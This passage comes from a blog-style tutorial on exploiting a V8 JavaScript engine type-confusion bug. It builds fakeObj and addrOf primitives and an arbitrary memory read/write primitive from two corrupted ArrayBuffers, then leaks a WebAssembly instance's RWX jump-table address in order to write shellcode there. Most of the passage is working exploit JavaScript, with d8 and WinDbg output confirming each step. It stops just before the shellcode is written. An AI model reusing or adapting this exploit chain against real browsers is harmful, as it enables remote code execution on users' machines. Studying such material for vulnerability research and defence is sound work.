We know that the backing store pointer for our array buffer is at offset 32, meaning that if we create another in-line property such as x2, then we should be able to access and overwrite that backing store pointer via our fakeObj primitive!

An example is provided below to help visualize this process in memory.

This is great for us because it allows us to finally utilize our bug and our primitives to gain arbitrary memory read/write access. Although, there is one slight problem. Consider this. If we have to write or read from multiple memory locations, we’ll have to constantly trigger our bug and overwrite our array buffers backing store via the fakeObj primitive, which is tedious. As such, we need a better solution.

To minimize the number of times we have to use the fakeObj primitive to overwrite the backing store, we can use two array buffers objects instead of one! This way, we can corrupt the backing store pointer of our first array buffer and point it to our second array buffer object’s address.

Once that is completed, we can use a TypedArray view of first array buffer to write to the 4th index, which will overwrite the backing store pointer of the second array buffer. From there, we can use a TypedArray view of the second array buffer to read and write data to/from the pointed memory region!

By using these two array buffers together, we can create another exploit primitive that allows us to quickly read and write data of any type to any location within the V8 heap.

An example of how this would look like in memory can be seen below.

To make our fakeObj function more flexible, we will modify it to accept an object of our choice. We’ll also pass in a newValue parameter that specifies the data we want to write. We’ll then set that newValue parameter for the x property within the vuln function instead of having our hardcoded address of 0x41414141n.

function fakeObj(obj, newValue) {
    eval(`
    function vuln(obj) {
      obj.inline;
      this.Object.create(obj);
      let orig = obj.p${p1}.x;
      obj.p${p1}.x = $(newValue);
      return orig;
    }
  `);

    let pValues = [];
    pValues[p1] = {x: 13.37};
    pValues[p2] = {y: obj};
	...

We will also modify the object within p1 to have two in-line properties, since we know that the second in-line property overlaps the backing store pointer. Additionally, we need to modify the vuln function to access the second inline property so we can write to the backing store pointer.

BigInt.prototype.toNumber = function toNumber() {
    uint64View[0] = this;
    return floatView[0];
};

function fakeObj(obj, newValue) {
    eval(`
    function vuln(obj) {
      obj.inline;
      this.Object.create(obj);
      // Write to Backing Store Pointer via Property x2
      let orig = obj.p${p1}.x2;
      obj.p${p1}.x2 = ${newValue};
      return orig;
    }
  `);

    let pValues = [];
    // x2 Property Overlaps Backing Store Pointer for Array Buffer
    let o = {x1: 13.37, x2: 13.38};
    pValues[p1] = o;
    pValues[p2] = obj;
	...

Notice that for our overlapping p2 object, we set it directly to the passed in obj. The reason we do this is because we need to access offset 32 of that specific object, instead of passing the object in as a property.

To properly convert the address or data we are passing in, we will add a new conversion function called toNumber and call that against our newValue parameter. This function is necessary as we need to convert the address or data that we are passing in, to be that of a float. The reason for this is due to our constructed type confusion and the fact that p1 expects a float!

BigInt.prototype.toNumber = function toNumber() {
    uint64View[0] = this;
    return floatView[0];
};

function fakeObj(obj, newValue) {
    eval(`
    function vuln(obj) {
      obj.inline;
      this.Object.create(obj);
      // Write to Backing Store Pointer via Property x2
      let orig = obj.p${p1}.x2;
      obj.p${p1}.x2 = ${newValue.toNumber()};
      return orig;
    }
  `);

    let pValues = [];
    // x2 Property Overlaps Backing Store Pointer for Array Buffer
    let o = {x1: 13.37, x2: 13.38};
    pValues[p1] = o;
    pValues[p2] = obj;
	...
}

Now comes the important part, modifying our JIT loop to trigger the bug and overwrite our backing store pointer. Similar to our previous fakeObj loop there are only a few modifications we need to make.

First of all, take note from above that we set the p1 property to a newly created object called o with two in-line properties. The reason we are doing this is because during our JIT loop we will need to constantly set the 2nd in-line property attribute of o to force the JIT compiler to trigger a redundancy elimination on our Map. This will allow us to access the backing store pointer as a float. If we don’t do this, then the function will not work!

Second of all, within the JIT loop, we will no longer compare the result value to 13.37. Instead, we will compare it to the value of our second property. In this case, if the loop no longer returns 13.38, it means that we successfully triggered the bug and overwrote the backing store pointer!

The final version of the fakeObj primitive will look like so.

BigInt.prototype.toNumber = function toNumber() {
    uint64View[0] = this;
    return floatView[0];
};

function fakeObj(obj, newValue) {
    eval(`
    function vuln(obj) {
      obj.inline;
      this.Object.create(obj);
      // Write to Backing Store Pointer via Property x2
      let orig = obj.p${p1}.x2;
      obj.p${p1}.x2 = ${newValue.toNumber()};
      return orig;
    }
  `);

    let pValues = [];
    // x2 Property Overlaps Backing Store Pointer for Array Buffer
    let o = {x1: 13.37,x2: 13.38};
    pValues[p1] = o;
    pValues[p2] = obj;

    for (let i = 0; i < 10000; i++) {
        // Force Map Check and Redundency Elimination
        o.x2 = 13.38;
        let res = vuln(makeObj(pValues));
        if (res != 13.38) {
            return res.toBigInt();
        }
    }
    throw "[!] fakeObj Primitive Failed"
}

Now that we finished that, since we’ll be using an object with two in-line properties for our fakeObj primitive, let’s make the same modification for our addrOf primitive to stay consistent, like so.

function addrOf(obj) {
    eval(`
    function vuln(obj) {
      obj.inline;
      this.Object.create(obj);
      // Trigger our type-confusion by accessing an out-of-bound property
        // This will load p1 from our object thinking it's a Double, but instead
        // due to overlap, it will load p2 which is an Object
      return obj.p${p1}.x2;
    }
  `);

    let pValues = [];
    // x2 Property Overlaps Backing Store Pointer for Array Buffer
    pValues[p1] = {x1: 13.37,x2: 13.38};
    pValues[p2] = {y: obj};

    for (let i = 0; i < 10000; i++) {
        let res = vuln(makeObj(pValues));
        if (res != 13.37) {
            // Subtract 1n from address due to pointer tagging.
            return res.toBigInt() - 1n;
        }
    }
    throw "[!] AddrOf Primitive Failed"
}

Now that we have modified our exploit script, we should be able to overwrite an array buffer backing store pointer. Let’s test this!

To start, we’ll modify our exploit code by creating a new array buffer with 1024 bytes of data. Afterwards, we’ll attempt to leak the address of our array buffer and overwrite the backing store pointer with 0x41414141.

Take note that that I have added two %DebugPrint functions to validate that the addresses we are leaking do coincide with out actual array buffer object, and that we have successfully overwritten the array buffer’s backing store pointer.

The updated code at the end of the script should look similar to mines.

print("[+] Finding Overlapping Properties...");
findOverlappingProperties();
print(`[+] Properties p${p1} and p${p2} overlap!`);

// Create Array Buffer
let arrBuf1 = new ArrayBuffer(1024);

print("[+] Leaking ArrayBuffer Address...");
let arrBuf1fAddr = addrOf(arrBuf1);
print(`[+] ArrayBuffer Address: 0x${arrBuf1fAddr.toString(16)}`);
%DebugPrint(arrBuf1)

print("[+] Corrupting ArrayBuffer Backing Store Address...")
// Overwrite Backign Store Pointer with 0x41414141
let ret = fakeObj(arrBuf1, 0x41414141n);
print(`[+] Original Leaked Data: 0x${ret.toString(16)}`);
%DebugPrint(arrBuf1)

Upon executing our updated exploit script within d8, we get the following output.

C:\dev\v8\v8\out\x64.debug>d8 --allow-natives-syntax C:\Users\User\Desktop\poc.js
[+] Finding Overlapping Properties...
[+] Properties p15 and p11 overlap!
[+] Leaking ArrayBuffer Address...
[+] ArrayBuffer Address: 0x2a164919360
DebugPrint: 000002A164919361: [JSArrayBuffer] in OldSpace
 - map: 0x00f4b4a84371 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x0143f1990b21 <Object map = 000000F4B4A843C1>
 - elements: 0x029264b02cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
 - embedder fields: 2
 - backing_store: 000001AEDA203210
 - byte_length: 1024
 - neuterable
 - properties: 0x029264b02cf1 <FixedArray[0]> {}
 - embedder fields = {
    0000000000000000
    0000000000000000
 }
...

[+] Corrupting ArrayBuffer Backing Store Address...
[+] Original Leaked Data: 0x1aeda203210
DebugPrint: 000002A164919361: [JSArrayBuffer] in OldSpace
 - map: 0x00f4b4a84371 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x0143f1990b21 <Object map = 000000F4B4A843C1>
 - elements: 0x029264b02cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
 - embedder fields: 2
 - backing_store: 0000000041414141
 - byte_length: 1024
 - neuterable
 - properties: 0x029264b02cf1 <FixedArray[0]> {}
 - embedder fields = {
    0000000000000000
    0000000000000000
 }
...

As you can see, our exploit script now successfully leaks the address of the array buffer, and we can confirm that the addresses match within the debug output. We also see that the original leaked data, or ret, returns the original backing store address. Additionally, we see that we have successfully overwritten the backing store pointer with 0x41414141, as shown in the debug output!

With the ability to overwrite the backing store pointer, we can go ahead and continue writing our exploit by building out our memory read/write primitive via the two array buffers. To recap, we need to create two array buffers, leak the address of the second array buffer, and overwrite the backing store pointer of the first array buffer with the address of the second array buffer.

The code to do accomplish this can be seen below.

print("[+] Finding Overlapping Properties...");
findOverlappingProperties();
print(`[+] Properties p${p1} and p${p2} overlap!`);

// Create Array Buffers
let arrBuf1 = new ArrayBuffer(1024);
let arrBuf2 = new ArrayBuffer(1024);

// Leak Address of arrBuf2
print("[+] Leaking ArrayBuffer Address...");
let arrBuf2fAddr = addrOf(arrBuf2);
print(`[+] ArrayBuffer Address: 0x${arrBuf2fAddr.toString(16)}`);

// Corrupt Backing Store Pointer of arrBuf1 with Address to arrBuf2
print("[+] Corrupting ArrayBuffer Backing Store Address...")
let originalArrBuf1BackingStore = fakeObj(arrBuf1, arrBuf2fAddr);

With this, we should be able to overwrite the backing store pointer of arrBuf1 to point to the arrBuf2 object. To do so, we can create a TypedArray for our first array buffer and read the backing store pointer using a 64-bit unsigned integer via the BigUint64Array. This should provide us with the byte representation of the address of the second array buffer.

The updated code for that will look like so.

print("[+] Finding Overlapping Properties...");
findOverlappingProperties();
print(`[+] Properties p${p1} and p${p2} overlap!`);

// Create Array Buffers
let arrBuf1 = new ArrayBuffer(1024);
let arrBuf2 = new ArrayBuffer(1024);

// Leak Address of arrBuf2
print("[+] Leaking ArrayBuffer Address...");
let arrBuf2Addr = addrOf(arrBuf2);
print(`[+] ArrayBuffer Address: 0x${arrBuf2Addr.toString(16)}`);

// Corrupt Backing Store Pointer of arrBuf1 with Address to arrBuf2
print("[+] Corrupting ArrayBuffer Backing Store Address...")
let originalArrBuf1BackingStore = fakeObj(arrBuf1, arrBuf2Addr);

// Validate Overwrite of Backing Store via TypedArray
let view1 = new BigUint64Array(arrBuf1)
let originalArrBuf2BackingStore = view1[4]
print(`[+] ArrayBuffer Backing Store: 0x${originalArrBuf2BackingStore.toString(16)}`);
%DebugPrint(arrBuf2)

As you can see, at the end of the script to validate the overwrite, we use %DebugPrint on our arrBuf2 object to confirm that we have the correct backing store address.

Executing our code, we get the following output.

C:\dev\v8\v8\out\x64.debug>d8 --allow-natives-syntax C:\Users\User\Desktop\poc.js
[+] Finding Overlapping Properties...
[+] Properties p6 and p15 overlap!
[+] Leaking ArrayBuffer Address...
[+] ArrayBuffer Address: 0x7393e19360
[+] Corrupting ArrayBuffer Backing Store Address...
[+] ArrayBuffer Backing Store: 0x15b14db9f20
DebugPrint: 0000007393E19361: [JSArrayBuffer] in OldSpace
 - map: 0x00f8c4384371 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x0075a6d10b21 <Object map = 000000F8C43843C1>
 - elements: 0x00f30a102cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
 - embedder fields: 2
 - backing_store: 0000015B14DB9F20
 - byte_length: 1024
 - neuterable
 - properties: 0x00f30a102cf1 <FixedArray[0]> {}
 - embedder fields = {
    0000000000000000
    0000000000000000
 }

And it works! As you can see in the output, we have successfully leaked the address of the second array buffer and read its backing store pointer, which all match. From here, we can continue building out our memory read and write primitives via our array buffers.

Since all address in within V8 are 32-bit, we’ll use the 64-bit unsigned integer typed array. An example of a read and write primitive built from the example above code can be seen below.

let memory = {
	read64(addr) {
		view1[4] = addr;
		let view2 = new BigUint64Array(arrBuf2);
		return view2[0];
	},
	write64(addr, ptr) {
		view1[4] = addr;
		let view2 = new BigUint64Array(arrBuf2);
		view2[0] = ptr;
	}
};

To test if this works, let’s try using the write64 memory primitive to write the value 0x41414141n to the second array buffer’s backing store. The code for that would look like this:

print("[+] Finding Overlapping Properties...");
findOverlappingProperties();
print(`[+] Properties p${p1} and p${p2} overlap!`);

// Create Array Buffers
let arrBuf1 = new ArrayBuffer(1024);
let arrBuf2 = new ArrayBuffer(1024);

// Leak Address of arrBuf2
print("[+] Leaking ArrayBuffer Address...");
let arrBuf2Addr = addrOf(arrBuf2);
print(`[+] ArrayBuffer Address: 0x${arrBuf2Addr.toString(16)}`);

// Corrupt Backing Store Pointer of arrBuf1 with Address to arrBuf2
print("[+] Corrupting ArrayBuffer Backing Store Address...")
let originalArrBuf1BackingStore = fakeObj(arrBuf1, arrBuf2Addr);

// Store Original Backing Store Pointer of arrBuf2
let view1 = new BigUint64Array(arrBuf1)
let originalArrBuf2BackingStore = view1[4]

// Construct our Memory Read and Write Primitive
let memory = {
	read64(addr) {
		view1[4] = addr;
		let view2 = new BigUint64Array(arrBuf2);
		return view2[0];
	},
	write64(addr, ptr) {
		view1[4] = addr;
		let view2 = new BigUint64Array(arrBuf2);
		view2[0] = ptr;
	}
};
print("[+] Constructed Memory Read and Write Primitive!");

// Write Data to Second Array Buffer
memory.write64(originalArrBuf2BackingStore, 0x41414141n);
%DebugPrint(arrBuf2);

Next, we can use WinDbg again to debug this by setting a breakpoint on RUNTIME_FUNCTION(Runtime_DebugPrint) and then executing the script. Once we hit the breakpoint, type g or press Go, and then press Shift + F11 or “Step Over” to see the debug output in the console.

[+] Finding Overlapping Properties...
[+] Properties p15 and p22 overlap!
[+] Leaking ArrayBuffer Address...
[+] ArrayBuffer Address: 0x39532f0db50
[+] Corrupting ArrayBuffer Backing Store Address...
[+] Constructed Memory Read and Write Primitive!
DebugPrint: 0000039532F0DB51: [JSArrayBuffer] in OldSpace
 - map: 0x03a3a6384371 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x02ac8fd10b21 <Object map = 000003A3A63843C1>
 - elements: 0x009c20b82cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
 - embedder fields: 2
 - backing_store: 000002791B474430
 - byte_length: 1024
 - neuterable
 - properties: 0x009c20b82cf1 <FixedArray[0]> {}
 - embedder fields = {
    0000000000000000
    0000000000000000
 }

As you can see, the backing store pointer is at the address 0x000002791B474430. Using WinDbg, let’s view that address and confirm that we did in fact write to that buffer.

0:000> dq 000002791B474430 L6
00000279`1b474430  00000000`41414141 00000000`00000000
00000279`1b474440  00000000`00000000 00000000`00000000
00000279`1b474450  00000000`00000000 00000000`00000000

And there we have it! We have successfully built a memory read/write primitive and can now write data to any location in the V8 heap. With this in place, we can move on to the next step of the exploit, which is gaining remote code execution!

Gaining Code Execution

With our memory primitives in place, we need to find a way to have V8 execute our code. Unfortunately, we cannot simply write or inject shellcode into random V8 heap regions or into our array buffer because NX in enabled.

This can be verified by using the vprot WinDbg function on the array buffer’s backing store pointer.

0:000> !vprot 000002791B474430
BaseAddress:       000002791b474000
AllocationBase:    000002791b390000
AllocationProtect: 00000004  PAGE_READWRITE
RegionSize:        000000000001b000
State:             00001000  MEM_COMMIT
Protect:           00000004  PAGE_READWRITE
Type:              00020000  MEM_PRIVATE

As you can see, we only have read and write access to these memory pages, but no execution permissions.

Since we cannot execute our code in these memory pages, we need to find a different solution.

One potential solution is to target JIT memory pages. JIT compilation of JavaScript code requires the compiler to write instructions into a memory page that can later be executed. Since this happens in line with code execution, these pages typically have RWX permissions. This would be a good target for our memory read/write primitives, where we can attempt to leak a pointer from a JIT compiled JavaScript function, write our shellcode to that address, and then call the function to execute our own code

However, in early 2018 the V8 team introduced a protection called write_protect_code_memory which flips JavaScript’s JIT’s memory page permissions between read/execute and read/write. As a result, these pages are marked as read/execute during JavaScript execution, preventing us from writing malicious code into them.

One way to bypass this protection is to use Return Oriented Programming (ROP). With ROP, we can either exploit vtables (which store the addresses of virtual functions), JIT function pointers, or even corrupt the stack.

Examples of how ROP gadgets can be used to exploit vtables can be found in the blog post “One Day Short of a Full Chain: Part 3 - Chrome Renderer RCE” and in Connor McGarr’sBrowser Exploitation on Windows” post.

While ROP is an effective technique for exploit development, I like to live by the “Work Smart Not Hard” motto and not have to do a lot of work. Fortunately for us, JavaScript isn’t the only language in V8 that gets compiled, there’s WebAssembly too!

Basic WebAssembly Internals

WebAssembly (also known as wasm) is a low-level programming language that is designed for in-browser client-side execution, and it is often used to support C/C++ and similar languages.

One of the benefits of WebAssembly is that it allows for communication between WebAssembly modules and the JavaScript context. This enables WebAssembly modules to access browser functionality through the same Web APIs that are available to JavaScript.

Initially, the V8 engine does not compile WebAssembly. Instead, wasm functions get compiled via the baseline compiler known as Liftoff. Liftoff iterates over the WebAssembly code once and immediately emits machine code for each WebAssembly instruction, similar to how SparkPlug emits Ignitions bytecode into machine code.

Since wasm is also JIT compiled, its memory pages are marked with Read-Write-Execute permissions. There is an associated write-protect-flag for wasm, but it is disabled by default because of the asm.js file as explained by Johnathan Norman. This makes wasm a valuable tool for our exploit development efforts.

Before we can use WebAssembly in our exploitation efforts, we first need to understand a little bit about its structure and how it works. Unfortunately, I won’t be covering everything about WebAssembly because that in of itself can be a separate blog post. As such, I will only cover the important parts we need to know.

In WebAssembly, a compiled piece of code is known as a “module”. These modules are then instantiated to produce an executable object called an “instance”. An instance is an object that contain all of the exported WebAssembly functions which allow calling into WebAssembly code from JavaScript.

In the V8 engine, these objects are known as the WasmModuleObject and WasmInstanceObject respectively and can be found within the v8/src/wasm/wasm-objects.h source file.

WebAssembly is a binary instruction format, and its module is similar to a Portable Executable (PE) file. Like a PE file, a WebAssembly module also contains sections. There are about 11 standard sections in a WebAssembly module:

  1. Type
  2. Import
  3. Function
  4. Table
  5. Memory
  6. Global
  7. Export
  8. Start
  9. Element
  10. Code
  11. Data

For a more detailed explanation of each section, I suggest reading the “Introduction to WebAssembly” article.

What I want to focus on is the table section. In WebAssembly, tables are a mechanism for mapping values that can’t be represented or directly accessed by WebAssembly, such as GC references, raw OS handles, or native pointers. Additionally, each table has an element type that specifies the kind of data it holds.

In WebAssembly, each instance has one designated “default” table that is indexed by the call_indirect operation. This operation is an instruction that performs a call to a function within the default table.

In 2018, the V8 development team updated WebAssembly to use jump tables for all calls, in order to implement lazy compilation and more efficient tier-ups. As a result, all WebAssembly function calls within V8 call to a slot in that jump table, which then jumps to the actual compiled code (or the WasmCompileLazy stub).

Within V8, the jump table (also known as the code table) serves as the central dispatch point for all (direct and indirect) invocations in WebAssembly. The jump table holds one slot per function in a module, with each slot containing a dispatch to the currently published WasmCode corresponding to the associated function. More information on the jump table implementation can be found in the /src/wasm/jump-table-assembler.h source file.

When WebAssembly code is generated, the compiler makes it available to the system by entering it into the code table and patching the jump table for a particular instance. It then returns a raw pointer to the WasmCode object. Because this code is JIT compiled, the pointer points to a section of memory with RWX permissions. Every time the corresponding function to the WasmCode is called, V8 jumps to that address and executes the compiled code.

This RWX memory section pointed to by the jump table is what we want to target with our memory read/write primitives to achieve remote code execution!

Abusing WebAssembly Memory

Now that we have a better understanding of WebAssembly and know that we need to target the jump table pointer for remote code execution, let’s write some wasm code and explore how it looks in memory so we can better understand how to use it for our exploit.

One easy way to write wasm code is to use WasmFiddle, which will allow us to write C code and get the outputs of the code buffer and JavaScript code needed to run it. Using the default code to return 42, we get the following JavaScript code.

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var func = wasmInstance.exports.main;

After executing this code in d8, we can use %DebugPrint against our wasmInstance variable, which will be the executable module object that houses our function exports. As you can see, in the last line of the wasm code we are setting the func variable to target the main export of that wasm instance, which will point to our executable wasmCode.

Doing so, we get the following output.

d8> %DebugPrint(wasmInstance)
DebugPrint: 0000032B465226A9: [WasmInstanceObject] in OldSpace
 - map: 0x02d1cc30ae51 <Map(HOLEY_ELEMENTS)>
 - module_object: 0x0135bd78e159 <Module map = 000002D1CC30A8B1>
 - exports_object: 0x0135bd78e341 <Object map = 000002D1CC30C3E1>
 - native_context: 0x032b465039f9 <NativeContext[248]>
 - memory_object: 0x032b465227a9 <Memory map = 000002D1CC30B851>
 - imported_function_instances: 0x00bca7c82cf1 <FixedArray[0]>
 - imported_function_callables: 0x00bca7c82cf1 <FixedArray[0]>
 - managed_native_allocations: 0x0135bd78e2d1 <Foreign>
 - memory_start: 00000273516A0000
 - memory_size: 65536
 - memory_mask: ffff
 - imported_function_targets: 00000272D08C73D0
 - globals_start: 0000000000000000
 - imported_mutable_globals: 00000272D08C7410
 - indirect_function_table_size: 0
 - indirect_function_table_sig_ids: 0000000000000000
 - indirect_function_table_targets: 0000000000000000
...

After analyzing the output, we can see that there is no reference to a code or jump table. However, if we look into V8’s code for WasmInstanceObject, we will see that there is an accessor to a jump_table_start entry for our function. This entry should point to a RWX memory region where the machine code is stored.

In V8, there is an offset to this jump_table_start entry, but it changes regularly between versions of V8. Therefore, we need to manually locate where this address is stored within the WasmInstanceObject.

To assist us in finding where this address is stored within the WasmInstanceObject, we can use the !address command within WinDbg to display information about the memory used by the d8 process. Since we know that the jump_table_start address has RWX permissions, we can filter the address output by the PAGE_EXECUTE_READWRITE protection constant to look for any newly created RWX memory regions.

Doing so results in the following output.

0:004> !address -f:PAGE_EXECUTE_READWRITE

        BaseAddress      EndAddress+1        RegionSize     Type       State                 Protect             Usage
--------------------------------------------------------------------------------------------------------------------------
      55`6c400000       55`6c410000        0`00010000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [I....lU...A....D]

In this case it seems that the address of 0x556C400000 will be our jump table entry for the RWX memory region. Let’s validate if our WasmInstanceObject does in fact store this pointer by examining the memory contents of the wasmInstace object address within WinDbg.

0:004> dq 0000032B465226A9-1 L22
0000032b`465226a8  000002d1`cc30ae51 000000bc`a7c82cf1
0000032b`465226b8  000000bc`a7c82cf1 00000135`bd78e159
0000032b`465226c8  00000135`bd78e341 0000032b`465039f9
0000032b`465226d8  0000032b`465227a9 000000bc`a7c825a1
0000032b`465226e8  000000bc`a7c825a1 000000bc`a7c825a1
0000032b`465226f8  000000bc`a7c825a1 000000bc`a7c82cf1
0000032b`46522708  000000bc`a7c82cf1 000000bc`a7c825a1
0000032b`46522718  00000135`bd78e2d1 000000bc`a7c825a1
0000032b`46522728  000000bc`a7c825a1 000000bc`a7c822a1
0000032b`46522738  00000097`8399dba1 00000273`516a0000
0000032b`46522748  00000000`00010000 00000000`0000ffff
0000032b`46522758  00000272`d08d45f8 00000272`d08dc6c8
0000032b`46522768  00000272`d08dc6b8 00000272`d08c73d0
0000032b`46522778  00000000`00000000 00000272`d08c7410
0000032b`46522788  00000000`00000000 00000000`00000000
0000032b`46522798  00000055`6c400000 000000bc`00000000
0000032b`465227a8  000002d1`cc30b851 000000bc`a7c82cf1

After analyzing the output, we can see that our jump table entry pointer to the RWX memory page is indeed stored within our wasmInstance object at the address of 0x32b46522798!

From here, we can do some simple hexadecimal math to find the offset to the RWX page from the base address of the WasmInstanceObject minus 1 (due to pointer tagging).

0x798  (0x6A9-0x1) = 0xF0 (240)

With this, we know that the offset of the jump table is 240 bytes, or 0xF0, away from the base address of the instance object.

With this, we can now update our exploit script by adding the WebAssembly sample code from above and then attempt to leak the RWX address of the jump table entry!

However, we have a slight problem. Unfortunately, we can’t use our addrOf primitive to leak the object address anymore. The reason for this is that the addrOf primitive abuses our bug by overwriting the overlapping properties. This essentially would destroy our memory read/write primitive that we set up via our array buffers, resulting in writing to wrong memory regions and potentially causing a crash.

In this case, we need to utilize our memory read/write primitive via our array buffers to leak an object address. Using what we already have, we can build another addrOf primitive via our array buffers by doing the following;

  1. Add an out-of-line property to the second array buffer.
  2. Leak the address of the second array buffers property store.
  3. Use the read64 memory primitive to read the address of our object at offset 16 in the property store.

Before we implement this, let’s see how this looks like in memory to confirm that it will work. Let’s start by creating a new array buffer called arrBuf1 and then create a random object, like so.

d8> let arrBuf1 = new ArrayBuffer(1024);
d8> let obj = {x:1}

Next, let’s set a new out of line property for arrBuf1 called leakme and set our object as it’s value.

d8> arrBuf1.leakme = obj;

If we run the %DebugPrint command against arrBuf1 we will see that we now have a new out-of-line property stored within the properties data store.

d8> %DebugPrint(arrBuf1)
DebugPrint: 000003B88950D8B9: [JSArrayBuffer]
 - map: 0x02fd7d78c251 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x01d6b8c90b21 <Object map = 000002FD7D7843C1>
 - elements: 0x03bfa9d82cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
 - embedder fields: 2
 - backing_store: 00000181293E0780
 - byte_length: 1024
 - neuterable
 - properties: 0x03b88950fe29 <PropertyArray[3]> {
    #leakme: 0x03b88950f951 <Object map = 000002FD7D78C201> (data field 0) properties[0]
 }
 - embedder fields = {
    0000000000000000
    0000000000000000
 }

As we can see, the address for obj is 0x03b88950f951 as per the property store. If we were to look into our property store for arrBuf1 with WinDbg we can see that at offset 16 in the property store, we have the address of our object!

0:005> dq 0x03b88950fe29-1 L6
000003b8`8950fe28  000003bf`a9d83899 00000003`00000000
000003b8`8950fe38  000003b8`8950f951 000003bf`a9d825a1
000003b8`8950fe48  000003bf`a9d825a1 000002fd`7d784fa1

Alright, we confirmed that this works. In that case let’s go ahead and implement a new addrOf function for our memory read/write primitive as follows:

let memory = {
  addrOf(obj) {
    // Set object address to new out-of-line property called leakme
    arrBuf2.leakMe = obj;
    // Use read64 primitive to leak the properties backing store address of our array buffer
    let props = this.read64(arrBuf2Addr + 8n) - 1n;
    // Read offset 16 from the array buffer backing store and return the address of our object
    return this.read64(props + 16n) - 1n;
  }
};

With that implemented, we can finally updated our exploit script to include the new addrOf primitive and our WebAssembly code. Afterwards, we can attempt to leak the address of our wasmInstance and the instances RWX jump table page.

The updated script will look like so:

print("[+] Finding Overlapping Properties...");
findOverlappingProperties();
print(`[+] Properties p${p1} and p${p2} overlap!`);

// Create Array Buffers
let arrBuf1 = new ArrayBuffer(1024);
let arrBuf2 = new ArrayBuffer(1024);

// Leak Address of arrBuf2
print("[+] Leaking ArrayBuffer Address...");
let arrBuf2Addr = addrOf(arrBuf2);
print(`[+] ArrayBuffer Address: 0x${arrBuf2Addr.toString(16)}`);

// Corrupt Backing Store Pointer of arrBuf1 with Address to arrBuf2
print("[+] Corrupting ArrayBuffer Backing Store Address...")
let originalArrBuf1BackingStore = fakeObj(arrBuf1, arrBuf2Addr);

// Store Original Backing Store Pointer of arrBuf2
let view1 = new BigUint64Array(arrBuf1)
let originalArrBuf2BackingStore = view1[4]

// Construct our Memory Read and Write Primitive
let memory = {
  read64(addr) {
    view1[4] = addr;
    let view2 = new BigUint64Array(arrBuf2);
    return view2[0];
  },
  write64(addr, ptr) {
    view1[4] = addr;
    let view2 = new BigUint64Array(arrBuf2);
    view2[0] = ptr;
  },
  addrOf(obj) {
    arrBuf2.leakMe = obj;
    let props = this.read64(arrBuf2Addr + 8n) - 1n;
    return this.read64(props + 16n) - 1n;
  }
};
print("[+] Constructed Memory Read and Write Primitive!");

// Generate RWX region via WASM
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var func = wasmInstance.exports.main;

// Leak WasmInstance Address
let wasmInstanceAddr = memory.addrOf(wasmInstance);
print(`[+] WASM Instance Address: 0x${wasmInstanceAddr.toString(16)}`);
// Leak
let wasmRWXAddr = memory.read64(wasmInstanceAddr + 0xF0n);
print(`[+] WASM RWX Page Address: 0x${wasmRWXAddr.toString(16)}`);

Upon executing the updated script in d8, we will notice the following output.

[+] Finding Overlapping Properties...
[+] Properties p6 and p18 overlap!
[+] Leaking ArrayBuffer Address...
[+] ArrayBuffer Address: 0x37779c8db50
[+] Corrupting ArrayBuffer Backing Store Address...
[+] Constructed Memory Read and Write Primitive!
[+] WASM Instance Address: 0x2998447e580
[+] WASM RWX Page Address: 0x47f9400000

It appears that we successfully were able to leak the address to our wasmInstance as well as our jump_table_start pointer.

To confirm that the leaked addresses are valid, we can use WinDbg to inspect the wasmInstance address to validate the object structure and check if at offset 240 we have our jump table address.

0:000> dq 0x2998447e580 L22
00000299`8447e580  000002da`4608ae51 0000005a`4e802cf1
00000299`8447e590  0000005a`4e802cf1 00000191`5d8d03d1
00000299`8447e5a0  00000191`5d8d05b9 000000ea`a9d839f9
00000299`8447e5b0  00000299`8447e681 0000005a`4e8025a1
00000299`8447e5c0  0000005a`4e8025a1 0000005a`4e8025a1
00000299`8447e5d0  0000005a`4e8025a1 0000005a`4e802cf1
00000299`8447e5e0  0000005a`4e802cf1 0000005a`4e8025a1
00000299`8447e5f0  00000191`5d8d0549 0000005a`4e8025a1
00000299`8447e600  0000005a`4e8025a1 0000005a`4e8022a1
00000299`8447e610  0000009a`1229dba1 000001fd`60c00000
00000299`8447e620  00000000`00010000 00000000`0000ffff
00000299`8447e630  000001fc`dff063c8 000001fc`dff0e498
00000299`8447e640  000001fc`dff0e488 000001fc`e0a00b50
00000299`8447e650  00000000`00000000 000001fc`e0a02720
00000299`8447e660  00000000`00000000 00000000`00000000
00000299`8447e670  00000047`f9400000 0000005a`00000000
00000299`8447e680  000002da`4608b851 0000005a`4e802cf1

Upon inspection of the memory, we confirm that we successfully are leaking valid addresses as 000002998447e670 contains the pointer to our jump table start entry!

Alright, we’re nearing the final stretch! Now that we have a valid jump table address that points to a RWX memory page, all we have to do is write our shellcode to that memory region, and then trigger our WebAssembly function to execute the code!

For this blog post, I will be using a Null-Free WinExec PopCalc shellcode that will simply execute the calculator app upon successful execution. Of course, it’s up to the reader to implement whatever shellcode they want for their own script!

